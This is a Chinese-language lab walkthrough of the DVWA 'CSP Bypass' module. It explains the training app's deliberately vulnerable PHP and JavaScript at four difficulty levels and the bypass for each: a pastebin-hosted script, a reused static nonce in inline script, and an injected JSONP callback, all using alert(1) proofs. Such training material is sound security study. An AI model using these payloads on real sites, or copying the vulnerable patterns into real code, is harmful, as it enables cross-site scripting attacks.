文章目录

内容安全策略绕过 CSP Bypass

CSP - 内容安全策略:为了缓解很大一部分潜在的跨站脚本XSS问题,浏览器的扩展程序系统引入了内容安全策略CSP 的概念。通过引入一些相当严格的策略使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。

CSP以白名单的机制对网站加载或执行的资源起作用,在网页中策略通过HTTP头部信息或meta元素定义。CSP虽然提供了强大的安全保护,但是它也令eval()及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整。

1 Low Level

源码:

<?php

# 指定headerCSP变量,防置了一些url
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

# 使用header函数调用变量headerCSP发送到客户端或浏览器
header($headerCSP);

# These might work if you can't create your own for some reason
# 绕过案例
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex

?>
# 使用script src指令指向一个外部JavaScript文件
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

源码对HTTP头部定义了CSP标签,定义了可以接受外部JavaScript资源的白名单,可以通过抓包确认是哪些网站;

其中​​https://pastebin.com​​是一个快速分享文本内容的网站,若文本的内容是一段JavaScript代码,网页就会把代码包含起来;可以使用该域名进行创建包含JavaScript代码的URL,也可直接使用源码中的案例进行绕过操作。

# https://pastebin.com/raw/R570EE00
# URL回显内容:alert("pastebin");

Security ❀ CSP Bypass 内容安全策略绕过_javascript

2 Medium Level

源码:

<?php

# script src有了新的变化,unsafe-inline允许执行页面内嵌的<script>标签和事件监听函数,nonce值会在每次HTTP回应给出一个授权token
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

# 禁用XSS保护
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# 绕过案例
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

源码中nonce参数无任何过滤,对其进行注入即可。将绕过案例​​<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>​​内容复制到输入框内,进行绕过弹窗测试。

Security ❀ CSP Bypass 内容安全策略绕过_php_02

3 High Level

源码:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

# script src指向了source/high.js代码文件
<script src="source/high.js"></script>
';

high.js代码:

function clickButton() {
// src指向source/jsonp.php?callback=solveNum,document对象使我们可以从脚本中对HTML页面中的所有元素进行访问,createElement()方法通过指定名称创建一个元素
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
// body 属性提供对 < body > 元素的直接访问,对于定义了框架集的文档将引用最外层的<frameset>,appendChild()方法可向节点的子节点列表的末尾添加新的子节点,也就是网页会把“source/jsonp.php?callback=solveNum”加入到DOM中
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
// 定义solveNum函数,函数传入参数obj,字符串“answer”在obj中就会执行下面代码
document.getElementById("answer").innerHTML = obj['answer'];
// getElementById()方法可返回对拥有指定ID的第一个对象的引用,innerHTML属性设置或返回表格行的开始和结束标签之间的HTML。这里的script标签会把远程加载的solveSum({"answer":"15"})当作js代码执行,然后这个函数就会在页面显示答案
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

jsonp.php代码:

<?php
header("Content-Type: application/json; charset=UTF-8");

if (array_key_exists ("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
# 代码中对callback参数无任何过滤限制,对其进行注入即可进行绕过
$outp = array ("answer" => "15");

echo $callback . "(".json_encode($outp).")";
?>

注入代码:​​include=<script src="source/jsonp.php?callback=alert(1);"></script>​

4 Impossible Level

源码:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
';

impossible.js代码:

function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
// JSONP调用的回调函数是硬编码的,CSP策略被锁定为只允许外部脚本
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

jsonp_impossible.php代码:

<?php
header("Content-Type: application/json; charset=UTF-8");

$outp = array ("answer" => "15");
# outp值被锁死
echo "solveSum (".json_encode($outp).")";
?>